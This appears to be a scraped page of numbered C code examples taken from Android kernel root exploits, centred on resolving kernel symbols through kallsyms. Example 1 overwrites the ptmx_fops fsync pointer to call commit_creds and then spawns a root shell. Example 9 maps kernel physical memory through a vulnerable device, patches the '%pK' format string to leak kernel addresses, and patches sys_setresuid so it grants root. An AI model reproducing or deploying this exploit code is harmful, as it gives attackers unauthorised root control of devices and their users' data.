Exemplo n.º 1
0
int main(int argc, char **argv)
{
  char* command = NULL;
  int i;
  for (i = 1; i < argc; i++) {
    if (!strcmp(argv[i], "-c")) {
      if (++i < argc) {
        command = argv[i];
      }
    }
  }

	/* find the ptmx_fops structure location in the kernel
	 * and offset 0x38 [ 56 ] bytes this should be the location
	 * of the fsync member. 
	 * NOTE: We assume knowledge of the ptmx_fops layout.
	*/
	void *ptmx_fops = kallsyms_get_symbol_address("ptmx_fops");
	unsigned int ptmx_fops_fsync_address = (unsigned int)ptmx_fops + 0x38;
	prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_get_symbol_address("prepare_kernel_cred");
	commit_creds = (commit_creds_t)kallsyms_get_symbol_address("commit_creds");
	
	printf("ptmx_fops_fsync_address %p\n",ptmx_fops_fsync_address);
	printf("prepare_kernel_cred %p\n",prepare_kernel_cred);
	printf("commit_creds %p\n",commit_creds);
	
	if(pipe_write_value_at_address(ptmx_fops_fsync_address,(unsigned int)&ptmx_fsync_callback )){
		
			int fd = open(PTMX_DEVICE, O_WRONLY);
			if(!fd) return 1; 
			fsync(fd);
			close(fd);
  
		
		pipe_write_value_at_address(ptmx_fops_fsync_address, 0);
			
	}
	 if (getuid() != 0) {
    printf("Failed to obtain root privilege.\n");
    exit(EXIT_FAILURE);
  }else {
    printf("Got Root1.\n");

  }

  if (command == NULL) {
    system("/system/bin/sh");
  } else {
    execl("/system/bin/sh", "/system/bin/sh", "-c", command, NULL);
  }

  exit(EXIT_SUCCESS);
}
Exemplo n.º 2
0
bool
setup_creds_functions(void)
{
    if (kallsyms_exist()) {
        prepare_kernel_cred = kallsyms_get_symbol_address("prepare_kernel_cred");
        commit_creds = kallsyms_get_symbol_address("commit_creds");
        return true;
    }

    if (get_creds_functions_addresses((void**)&prepare_kernel_cred, (void**)&commit_creds)) {
        return true;
    }

    return find_creds_functions_in_memory();
}
Exemplo n.º 3
0
unsigned long int
get_ptmx_fops_address(void)
{
  int i;
  device_id_t device_id;

  device_id = detect_device();

  for (i = 0; i < n_supported_devices; i++) {
    if (supported_devices[i].device_id == device_id) {
      return supported_devices[i].ptmx_fops_address;
    }
  }

  if (kallsyms_exist()) {
    unsigned long int address;

    address = kallsyms_get_symbol_address("ptmx_fops");
    if (address) {
      return address;
    }
  }

  print_reason_device_not_supported();
  return 0;
}
Exemplo n.º 4
0
void *
get_remap_pfn_range_address(void)
{
  if (kallsyms_exist()) {
    return kallsyms_get_symbol_address("remap_pfn_range");
  }
  return (void*)_get_remap_pfn_range_address();
}
Exemplo n.º 5
0
bool
setup_remap_pfn_range_address(void)
{
  if (remap_pfn_range) {
    return true;
  }

  remap_pfn_range = (void *)device_get_symbol_address(DEVICE_SYMBOL(remap_pfn_range));

  if (!remap_pfn_range && kallsyms_exist()) {
    remap_pfn_range = kallsyms_get_symbol_address("remap_pfn_range");
  }

  return !!remap_pfn_range;
}
Exemplo n.º 6
0
bool
setup_vmalloc_exec_address(void)
{
  if (vmalloc_exec) {
    return true;
  }

  vmalloc_exec = (void *)device_get_symbol_address(DEVICE_SYMBOL(vmalloc_exec));

  if (!vmalloc_exec && kallsyms_exist()) {
    vmalloc_exec = (void *)kallsyms_get_symbol_address("vmalloc_exec");
  }

  return !!vmalloc_exec;
}
Exemplo n.º 7
0
bool
kallsyms_exist(void)
{
  struct stat st;

  if (stat("/proc/kallsyms", &st) < 0) {
    return false;
  }

  if  (st.st_mode & S_IROTH) {
    return kallsyms_get_symbol_address("_stext") != 0;
  }

  return false;
}
Exemplo n.º 8
0
static unsigned long int
get_ptmx_fops_address(void)
{
  unsigned long int address;

  address = device_get_symbol_address(DEVICE_SYMBOL(ptmx_fops));
  if (address) {
    return address;
  }

  if (kallsyms_exist()) {
    address = kallsyms_get_symbol_address("ptmx_fops");
    if (address) {
      return address;
    }
  }

  return 0;
}
Exemplo n.º 9
0
int exec_exploit(struct exploit *exp, int args, char **cmd) {

  FILE *f;
  int fd, ret, m, length, index;
  char line[512];
  char *str = NULL;
  char *ptr = NULL;
  unsigned long *paddr = NULL;
  unsigned long *tmp = NULL;
  unsigned long *restore_ptr_setresuid = NULL;
  unsigned long addr_sym = 0;
  unsigned long tmp2 = 0;
  unsigned long start_offset = 0;
  unsigned long *new_offset = NULL;
  bool found = false;
  struct restore_fmt r_fmt = { NULL, 0};
  struct stat device_info;


  // Check if the vulnerable device exists
  if(stat(exp->dev, &device_info) < 0) {
    cleanup(exp);
    return 0;
  }
  

  // Exec pre_init function if defined
  if(exp->pre_init != NULL) {
    if(!exp->pre_init(exp)) {
      cleanup(exp);
      return 0;
    }
  }

  fd = open(exp->dev, O_RDWR);
  if(fd < 0) {
    cleanup(exp);
    return 0;
  }

  exp->fd = fd;

  // Exec init function
  ret = exp->init(exp);
  if(!ret) {
    cleanup(exp);
    return 0;
  }
  
  length = exp->length;
  start_offset = exp->start_offset;
  /* Map the required kernel physical memory */
  paddr = (unsigned long *)mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_SHARED, exp->fd, exp->offset);

  new_offset = paddr;
  if(start_offset) 
    new_offset = (unsigned long *) ( ((unsigned long) new_offset) + (start_offset << 2));

  tmp = new_offset;
  
  if (paddr == MAP_FAILED) {
    cleanup(exp);
    return 0;
  }  

  f = fopen("/proc/kallsyms", "r");
  if(!f) {
    cleanup(exp);
    return 0;
  }

  memset(line, 0, sizeof(line));
  if(!(fgets(line, sizeof(line), f))) {
    cleanup(exp);
    return 0;
  }

  str = strtok(line, " ");
  // Check if it is already possible to read kernel symbols from kallsyms
  if(!strtoul(str, NULL, 16)) {

    if((exp->length - 12) == 0) {
      cleanup(exp);
      return 0;
    }

    // Use libkallsyms first
    if(kallsyms_in_memory_init(tmp, exp->length))
      addr_sym = (unsigned long) kallsyms_in_memory_lookup_name("sys_setresuid");

    // If libkallsyms failed try a second method
    if(!addr_sym) {
    /*
     * search the format string "%pK %c %s\n" in memory
     * and replace "%pK" by "%p" to force display kernel
     * symbols pointer
     */


      for(m = 0; m < (length - 12); m += 4) {
	if(*(unsigned int *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && ((*(unsigned long *)(tmp+2)) & 0x0000ffff) == 0x00000a73) {
	  r_fmt.ptr_fmt = (unsigned long *)tmp;
	  r_fmt.ptr_fmt_value = *(unsigned long *)tmp;
	  *(unsigned long*)tmp = 0x20207025;
	  found = true;
	  break;	
	}
      
	else if( ((*(unsigned int *)tmp) & 0x0000ffff) == 0x00007025 && *(unsigned long *)(tmp+1) == 0x6325204b && *(unsigned long *)(tmp+2) == 0x0a732520) {
	  r_fmt.ptr_fmt = (unsigned long *)(tmp+1);
	  r_fmt.ptr_fmt_value = *(unsigned long *)(tmp+1);
	  *(unsigned long*)(tmp+1) = 0x63252020;
	  found = true;
	  break;
	}
      
	else if(((*(tmp) & 0x00ffffff) == 0x4b7025) && *(unsigned long *)(tmp+1) == 0x20632520 && ((*((unsigned long *)(tmp+2))) & 0x00ffffff) == 0x000a7325) {
	  r_fmt.ptr_fmt = (unsigned long *)tmp;
	  r_fmt.ptr_fmt_value = *(unsigned long *)tmp;
	  *(unsigned long*)tmp = (*(tmp)) & 0xff20ffff;
	  found = true;
	  break;
	}
	else 
	  tmp++;
      }

      if (found == false) {
	cleanup(exp);
	return 0;
      }     
    
    fclose(f);
    
    // Now we should be able to read /proc/kallsyms
    addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid");
    }
  }

  // If kallsysms is already mapped use it
  else
    addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid");

  if(!addr_sym) {
    cleanup(exp);
    return 0;
  } 

  if(addr_sym) {
    tmp2 = (unsigned long) (MEMORY_OFFSET + addr_sym) >> 2;
    tmp2 = tmp2 << 2;
    tmp2 += (unsigned long) new_offset;
    tmp = (unsigned long *)tmp2;

    for(m = 0; m < 128; m += 4) {
      // Search the cmp $r0, 0 check in the mapped sys_setresuid function
      if (*(unsigned long *)tmp == 0xe3500000) {
	// Patch with a cmp $r0, 1 instraction
	restore_ptr_setresuid = tmp;
	*(unsigned long *)tmp = 0xe3500001;
	break;
      }
      tmp++;
    }
  }

  // Finalize
  if(!exp->finalize(exp)) {
    cleanup(exp);
    return 0;
  }

  /* ask for root */
  ret = setresuid(0, 0, 0);

  if(ret) {
    cleanup(exp);
    return 0;
  }

  // If everything was ok we are root now
  exec_payload(args, cmd);

  /* restore memory */
  if(r_fmt.ptr_fmt != NULL)
    *r_fmt.ptr_fmt = r_fmt.ptr_fmt_value;

  if(restore_ptr_setresuid != NULL)
    *(unsigned long *)restore_ptr_setresuid = 0xe3500000;

  msync(paddr, length, 4);
  munmap(paddr, length);
  close(fd);

  if(exp->fd2)
    close(exp->fd2);

  return 1;
}